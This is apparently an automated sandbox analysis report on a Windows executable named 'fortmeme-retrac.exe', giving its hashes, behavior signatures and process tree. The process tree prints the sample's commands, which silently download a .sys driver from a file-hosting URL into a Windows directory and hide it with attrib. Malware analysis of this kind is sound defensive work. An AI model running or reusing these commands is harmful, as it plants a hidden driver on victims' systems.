Analysis
- user interaction
yes - max time kernel
148s - max time network
131s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
02/08/2026, 15:06
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
fortmeme-retrac.exe
Resource
win10v2004-20260513-en
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
fortmeme-retrac.exe
Resource
win11ltsc2024-20260709-en
7 signatures
150 seconds
General
- Target fortmeme-retrac.exe
- Size 1.4MB
- Sample260802-sg67psck2v
- SHA256 2d41f3c81c58412c20ddb255408bf13b77dc5539f21e8fbe219837d4bb835811
- MD5 97f094c63e13b2328e2259d526829861
- SHA1 b946fd3f5b420115f1ce06f6b212b7e10a5353a4
- SHA512 c0bd318dd14e7eef106d4f1e7b241c7f4b90d4ec03ed9678bc2d43bd0fd831cb71f40e20fa9ab2bacb28f4b715ab62ecfe7287dc08276c282de39cfb9d5ea335
- SSDEEP 24576:xaXqLy1q7mLsQQW23PlLA1yFadWiQndzzVoeL/Ts7gSWrmaD238Eu/xPHEatpmD:MXqLy1q7vD3P18yFad/QnVzuk/ggjf18
- TLSH T18A658DA2E7EC5486D02774389B45690FB231742403109BE77F990E5D8BBE9E0CB7EB91
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
5/10
Malware Config
Signatures
- Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
pid Process 3756 cmd.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\Fonts\fa-solid-900.ttf fortmeme-retrac.exe - Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3036 cmd.exe 7088 cmd.exe 2700 cmd.exe 2336 cmd.exe - Suspicious behavior: LoadsDriver 1 IoCs
pid Process 816 Process not Found - Suspicious behavior: RenamesItself 1 IoCs
pid Process 5724 fortmeme-retrac.exe - Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 5724 wrote to memory of 3036 5724 fortmeme-retrac.exe 91 PID 5724 wrote to memory of 7088 5724 fortmeme-retrac.exe 92 PID 5724 wrote to memory of 2700 5724 fortmeme-retrac.exe 93 PID 2700 wrote to memory of 2084 2700 cmd.exe 94 PID 5724 wrote to memory of 3756 5724 fortmeme-retrac.exe 95 PID 3756 wrote to memory of 5952 3756 cmd.exe 96 PID 5724 wrote to memory of 2336 5724 fortmeme-retrac.exe 97 - Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 5952 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\fortmeme-retrac.exe"C:\Users\Admin\AppData\Local\Temp\fortmeme-retrac.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of WriteProcessMemory
PID:5724 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
- Executes a command shell one-liner
PID:3036
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
- Executes a command shell one-liner
PID:7088
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/4jdffy.sys --output C:\Windows\Branding\Basebrd\basebrd.sys >nul 2>&12⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2700 -
C:\Windows\system32\curl.execurl --silent https://files.catbox.moe/4jdffy.sys --output C:\Windows\Branding\Basebrd\basebrd.sys3⤵PID:2084
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c attrib +h +s C:\Windows\Branding\Basebrd\basebrd.sys >nul 2>&12⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
PID:3756 -
C:\Windows\system32\attrib.exeattrib +h +s C:\Windows\Branding\Basebrd\basebrd.sys3⤵
- Views/modifies file attributes
PID:5952
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
- Executes a command shell one-liner
PID:2336
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:5828